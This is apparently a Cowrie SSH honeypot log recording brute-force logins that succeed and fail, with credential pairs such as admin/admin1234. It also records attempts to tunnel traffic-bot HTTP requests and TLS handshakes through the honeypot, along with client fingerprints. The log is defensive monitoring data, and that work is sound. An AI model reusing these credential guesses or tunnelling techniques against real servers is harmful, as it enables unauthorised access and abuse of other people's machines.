{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:37.428316Z","src_ip":"123.27.168.40","session":"27f96480ba43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:38.009425Z","session":"27f96480ba43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:38.045181Z","session":"27f96480ba43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:38.560899Z","src_ip":"123.27.168.40","session":"27f96480ba43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1208\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; SM-A516R4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Mm50PzwlJFRyUzJ0dENYMw%3D%3D05T1otwfL6w4YlvOg3IpyDEuSsoiB%2B78sQEy9HOBFaxaFFnrgzzqxDrwnsOMohiDUm5JRKB9OXb1VzPxjpixeXcZ1%2BBBOaUK7lssdaEwwm%2Bhq7J2Yk%2FE78Vv6EqxZajDll0cXrwVcZRauzwzzxiRJhr4eCYtEzMkZ%2FbuQ%2F0BP5iSVfMd8Kg%2FhT1mvolKbaWt7eBNd5%2F0KxsfDTLwPAr5IYFrB1tk8X%2FTqttUo7q8i6LSHfQLIDcaZvL5RrbmvkxAdl0gAdpjfYMl82jfn6V%2FuGeQJbZwqiYi44uOw%2FzbMV2%2BVNCSd2HkszH3JuRYZRdsQOLjABTNQyUcn4M3p6HJidnX9OU%2Fl%2B3D%2FpNK0gu06p%2FG%2FlEwiU1TqItSszPpRW1JwSrkt669NcJ91pH%2B%2FFhU0Un6uFA4T%2FHudwPef3IE6ZnUOEbpsXM4oKaCtUUCJ1weriStv%2FTnNgeFwL1OhMUKnVr3tnZbie4u1MbCmDX38niz8lkdOnqPbv81H7CTuwz%2BEPE9AAnRmbvqFAcasXOJiJpmLvhM%2F%2B%2FffPfgPnpTSNnAyWv%2BvhGOICsLZ8ZO35G8icbrerUUxopRa21zFOwmMt8SNx2E78o3lOzImVHkVDGObLGbLC6ISPySme%2FZXU%2F5vMrnBG408aMzimLoqddjZjRvqAzDq5%2BlEsbZPmrsUv4GN%2Ff4sV6ofgrpmp0VhKlTZGdsEhUj2H4p%2BzzsR01vp%2F35ymHCWspM%2Bhlxj9nF6bQEe9gHJccC1RE%2FpOQHgRslFf%2BWsyq7nRFDmML%2Br1BpwxNUaiRzUwKpIK4dl4whG7cJTmTqFRLGgsM0seb83cni%2B7SU7dcR%2B5xLbvKAVXAOTu35tAnSVTZZUn4xP9LfeByQTZSbj4cRacXB2QFKs8ZRRFk0uRrOResw0eI8tLkXWwFySSwgD6fSYA83LaySjQh%2BNsyNUwB9CkX9rTvlrRwTq8hBeTURVpJ%2BBGdlmsyFU3zgzdMbA3c%2FTC5GLWt8UYb6xf5%2Ba%2BTsY90eTDqd5Wga5T7%2Ba8LZygEP1PeytfGri%2BrfBp97z5YMBTk85udGBIfkSU0C3e8oSYcr2NxPvE0E'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1208\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; SM-A516R4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Mm50PzwlJFRyUzJ0dENYMw%3D%3D05T1otwfL6w4YlvOg3IpyDEuSsoiB%2B78sQEy9HOBFaxaFFnrgzzqxDrwnsOMohiDUm5JRKB9OXb1VzPxjpixeXcZ1%2BBBOaUK7lssdaEwwm%2Bhq7J2Yk%2FE78Vv6EqxZajDll0cXrwVcZRauzwzzxiRJhr4eCYtEzMkZ%2FbuQ%2F0BP5iSVfMd8Kg%2FhT1mvolKbaWt7eBNd5%2F0KxsfDTLwPAr5IYFrB1tk8X%2FTqttUo7q8i6LSHfQLIDcaZvL5RrbmvkxAdl0gAdpjfYMl82jfn6V%2FuGeQJbZwqiYi44uOw%2FzbMV2%2BVNCSd2HkszH3JuRYZRdsQOLjABTNQyUcn4M3p6HJidnX9OU%2Fl%2B3D%2FpNK0gu06p%2FG%2FlEwiU1TqItSszPpRW1JwSrkt669NcJ91pH%2B%2FFhU0Un6uFA4T%2FHudwPef3IE6ZnUOEbpsXM4oKaCtUUCJ1weriStv%2FTnNgeFwL1OhMUKnVr3tnZbie4u1MbCmDX38niz8lkdOnqPbv81H7CTuwz%2BEPE9AAnRmbvqFAcasXOJiJpmLvhM%2F%2B%2FffPfgPnpTSNnAyWv%2BvhGOICsLZ8ZO35G8icbrerUUxopRa21zFOwmMt8SNx2E78o3lOzImVHkVDGObLGbLC6ISPySme%2FZXU%2F5vMrnBG408aMzimLoqddjZjRvqAzDq5%2BlEsbZPmrsUv4GN%2Ff4sV6ofgrpmp0VhKlTZGdsEhUj2H4p%2BzzsR01vp%2F35ymHCWspM%2Bhlxj9nF6bQEe9gHJccC1RE%2FpOQHgRslFf%2BWsyq7nRFDmML%2Br1BpwxNUaiRzUwKpIK4dl4whG7cJTmTqFRLGgsM0seb83cni%2B7SU7dcR%2B5xLbvKAVXAOTu35tAnSVTZZUn4xP9LfeByQTZSbj4cRacXB2QFKs8ZRRFk0uRrOResw0eI8tLkXWwFySSwgD6fSYA83LaySjQh%2BNsyNUwB9CkX9rTvlrRwTq8hBeTURVpJ%2BBGdlmsyFU3zgzdMbA3c%2FTC5GLWt8UYb6xf5%2Ba%2BTsY90eTDqd5Wga5T7%2Ba8LZygEP1PeytfGri%2BrfBp97z5YMBTk85udGBIfkSU0C3e8oSYcr2NxPvE0E'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:38.564458Z","src_ip":"123.27.168.40","session":"27f96480ba43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:38.567783Z","src_ip":"123.27.168.40","session":"27f96480ba43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x15\\n+\\x18q\\xe6S\\xb0\\xf4K\\x08\\xad\\x7f\\x0bjS\\xe0B\\xc6B\\x0f6\\xf7\\x85&{J \\xb5\\xa8Zw \\xef\\x8b[\\x82?(\\xec\\xb6\\xef\\x8f\\xe9\\xcf.\\x1f\\xe2\\x9d\\x18so)'\\x11\\x99\\x88\\xf1O\\x05\\xda\\x90(\\xe2\\xb4\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 Sk\\x1b\\xd1\\x80K\\x9e\\x10{\\x8an|/\\x8c\\xb5\\xea\\xfb)\\xba\\x8b\\x88\\x17\\xacI\\xda>\\xf5\\x1fc\\xca\\x92\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x15\\n+\\x18q\\xe6S\\xb0\\xf4K\\x08\\xad\\x7f\\x0bjS\\xe0B\\xc6B\\x0f6\\xf7\\x85&{J \\xb5\\xa8Zw \\xef\\x8b[\\x82?(\\xec\\xb6\\xef\\x8f\\xe9\\xcf.\\x1f\\xe2\\x9d\\x18so)'\\x11\\x99\\x88\\xf1O\\x05\\xda\\x90(\\xe2\\xb4\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 Sk\\x1b\\xd1\\x80K\\x9e\\x10{\\x8an|/\\x8c\\xb5\\xea\\xfb)\\xba\\x8b\\x88\\x17\\xacI\\xda>\\xf5\\x1fc\\xca\\x92\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:38.575605Z","src_ip":"123.27.168.40","session":"27f96480ba43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:38.829122Z","session":"27f96480ba43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:39.075957Z","src_ip":"123.27.168.40","session":"27f96480ba43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe9\"\\x1f\\x1c\\xea\\xb6S\\xcd\\x1a>6\\xe5G\\xe6\\xd7\\xe6\\x97\\xa6k\\x89h\\xb8Nu\\x1b\\xc4fG\\xb2\\x8c&W `!\\x95\\xef\\x90\\xc5{\\x9d(N\\xb5B\\xf8\\xfc\\x12O\\x01\\x82\\xe6\\xd1t\\x8f\\x1cb\\x13\\x9d/\\nA\\x82D\\xd1\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbe\\x7f]l\\n\\xab\\xa52\\xffpP\\xde]\\xbd\\x06W\\xe8\\x8c\\xe1<\\x98\\xb8\\xa8\\x85\\xc2\\x1c\\xba\\xc9\\nB\\xea`\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe9\"\\x1f\\x1c\\xea\\xb6S\\xcd\\x1a>6\\xe5G\\xe6\\xd7\\xe6\\x97\\xa6k\\x89h\\xb8Nu\\x1b\\xc4fG\\xb2\\x8c&W `!\\x95\\xef\\x90\\xc5{\\x9d(N\\xb5B\\xf8\\xfc\\x12O\\x01\\x82\\xe6\\xd1t\\x8f\\x1cb\\x13\\x9d/\\nA\\x82D\\xd1\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbe\\x7f]l\\n\\xab\\xa52\\xffpP\\xde]\\xbd\\x06W\\xe8\\x8c\\xe1<\\x98\\xb8\\xa8\\x85\\xc2\\x1c\\xba\\xc9\\nB\\xea`\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:39.079353Z","src_ip":"123.27.168.40","session":"27f96480ba43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:39.448103Z","src_ip":"123.27.168.40","session":"27f96480ba43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":55270,"dst_ip":"159.203.135.109","dst_port":22,"session":"748e02a015f4","protocol":"ssh","message":"New connection: 182.93.50.90:55270 (159.203.135.109:22) [session: 748e02a015f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:52.238886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:52.242820Z","src_ip":"182.93.50.90","session":"748e02a015f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:52.463164Z","src_ip":"182.93.50.90","session":"748e02a015f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@abc","message":"login attempt [root/123456@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:53.391811Z","src_ip":"182.93.50.90","session":"748e02a015f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:54.612717Z","src_ip":"182.93.50.90","session":"748e02a015f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":50501,"dst_ip":"10.17.0.5","dst_port":22,"session":"c697984001be","protocol":"ssh","message":"New connection: 123.27.168.40:50501 (10.17.0.5:22) [session: c697984001be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:07.331051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:07.335112Z","src_ip":"123.27.168.40","session":"c697984001be","protocol":"ssh"}
